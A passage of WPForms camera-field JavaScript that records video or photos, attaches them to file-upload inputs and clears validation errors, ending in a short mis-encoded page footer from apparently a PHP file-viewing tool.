Handle recording completion. mediaRecorder.onstop = function() { const blobType = mediaRecorder.mimeType || videoConfig.mimeType || 'video/webm'; const blob = new Blob( chunks, { type: blobType } ); app.handleRecordingComplete( blob, blobType, formId, fieldId, videoConfig, $modalOverlay, $previewContainer ); }; // Start recording. mediaRecorder.start( 1000 ); // Collect data in 1-second chunks $modalOverlay.data( 'media-recorder', mediaRecorder ); const $countdownSpan = $videoCountdown.find( 'span' ); // Setup recording timer. app.setupRecordingTimer( timeLimit, $countdownSpan, mediaRecorder, $cameraStop, $modalOverlay ); // Setup buttons. app.setupStopButton( $cameraStop, $modalOverlay, mediaRecorder, timeLimit, $countdownSpan ); app.setupCancelVideoButton( $modalOverlay ); }, /** * Attach a file to the file upload field. * * @since 1.9.8 * * @param {number} formId Form ID. * @param {number} fieldId Field ID. * @param {Blob} blob File blob. */ attachFile( formId, fieldId, blob ) { // Determine the file type and create the appropriate filename let filename, fileType; if ( blob.type.startsWith( 'video/' ) ) { // It's a video file const extension = blob.type.includes( 'mp4' ) ? 'mp4' : 'webm'; filename = `camera-video-${ Date.now() }.${ extension }`; fileType = blob.type || ( extension === 'mp4' ? 'video/mp4' : 'video/webm' ); } else { // Default to image/photo filename = `camera-photo-${ Date.now() }.jpg`; fileType = 'image/jpeg'; } const file = new File( [ blob ], filename, { type: fileType } ); // Check for modern uploader. const $uploaderContainer = $( `.wpforms-uploader[data-form-id="${ formId }"][data-field-id="${ fieldId }"]` ); const isModernStyle = $uploaderContainer.length > 0; if ( isModernStyle ) { // Modern file upload field. const dropzoneElement = $uploaderContainer[ 0 ]; if ( dropzoneElement && dropzoneElement.dropzone ) { // Add the file to Dropzone. dropzoneElement.dropzone.addFile( file ); // Set camera field state for modern uploader. const $input = $uploaderContainer.parents( '.wpforms-field-camera' ).find( 'input[name="' + dropzoneElement.dataset.inputName + '"]' ); if ( $input.length ) { app.setCameraFieldState( $input, file ); } } } else { // Classic file upload field. const $fileInput = $( `#wpforms-${ formId }-field_${ fieldId }` ); if ( $fileInput.length ) { // Create a FileList-like object to store our file. const dataTransfer = new DataTransfer(); dataTransfer.items.add( file ); // Set the file property of the input element. $fileInput[ 0 ].files = dataTransfer.files; // Trigger `change` event to notify any listeners. $fileInput.trigger( 'change' ); app.setCameraFieldState( $fileInput, file ); } } }, /** * Attach a file to the file upload field. * * @since 1.9.8 * * @param {jQuery} $fileInput File input element. * @param {Object} file Selected file. */ setCameraFieldState( $fileInput, file ) { // Debug: Check if fileInput still exists in DOM. if ( ! $fileInput.length || ! document.contains( $fileInput[ 0 ] ) ) { return; } // Handle Camera field. const $cameraField = $fileInput.closest( '.wpforms-field-camera' ); if ( $cameraField.length ) { const fileName = file?.name ?? ''; if ( ! fileName ) { return; } const $trigger = $cameraField.find( '.wpforms-camera-link, .wpforms-camera-button' ); if ( ! $trigger.length ) { return; } $trigger.hide(); const $selected = $cameraField.find( '.wpforms-camera-selected-file' ); $selected .addClass( 'wpforms-camera-selected-file-active' ) .find( 'span' ) .text( fileName ); // Clear validation errors when the file is selected. $cameraField.removeClass( 'wpforms-has-error' ); $fileInput.removeClass( 'wpforms-error' ); $cameraField.find( '.wpforms-error' ).remove(); // Check if all field errors are cleared and hide the general form error if needed. app.checkAndHideGeneralFormError( $cameraField ); } // Handle the File Upload field with camera enabled. const $fileUploadField = $fileInput.closest( '.wpforms-field-file-upload' ); if ( $fileUploadField.length ) { // Clear validation errors when a file is selected. $fileUploadField.removeClass( 'wpforms-has-error' ); // Remove only error message elements, not the input itself. $fileUploadField.find( '.wpforms-error:not(input)' ).remove(); // Remove the wpforms-error class from the input element. $fileInput.removeClass( 'wpforms-error' ); // Ensure the file input remains visible and functional. $fileInput.show().css( 'display', 'block' ); // Trigger validation to clear any jQuery Validation errors (only if the validator exists). if ( $fileInput.data( 'validator' ) ) { $fileInput.valid(); } // Check if all field errors are cleared and hide the general form error if needed. app.checkAndHideGeneralFormError( $fileUploadField ); } }, /** * Reset the camera field state. * * @since 1.9.8 * * @param {Object} event Event object */ clearSelectedFile( event ) { event.preventDefault(); const $trigger = $( event.currentTarget ); const $cameraField = $trigger.closest( '.wpforms-field-camera' ); if ( ! $cameraField.length ) { return; } const fileInput = $cameraField.find( 'input[type="file"]' )[ 0 ]; if ( ! fileInput ) { return; } const $selected = $cameraField.find( '.wpforms-camera-selected-file' ); const $cameraLink = $cameraField.find( '.wpforms-camera-link, .wpforms-camera-button' ); // Reset UI. fileInput.value = ''; $selected.removeClass( 'wpforms-camera-selected-file-active' ); $cameraLink.show(); }, /** * Format time in M:SS format. * * @since 1.9.8 * * @param {number} seconds Seconds to format. * * @return {string} Formatted time string. */ formatTime( seconds ) { const minutes = Math.floor( seconds / 60 ); const secs = seconds % 60; return `${ minutes }:${ secs.toString().padStart( 2, '0' ) }`; }, /** * Check if all field errors are cleared and hide the general form error if needed. * * @since 1.9.8 * * @param {jQuery} $field Field element. */ checkAndHideGeneralFormError( $field ) { const $form = $field.closest( 'form' ); if ( ! $form.length ) { return; } // Check if there are any remaining field errors in the form. const hasFieldErrors = $form.find( '.wpforms-has-error, .wpforms-error' ).length > 0; // If no field errors remain, hide the general form error. if ( ! hasFieldErrors ) { $form.find( '.wpforms-error-container' ).remove(); } }, }; return app; }( document, window, jQuery ) ); // Initialize. WPForms.Camera.init();
| ver. 1.1 | |
.
| PHP 8.3.30 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка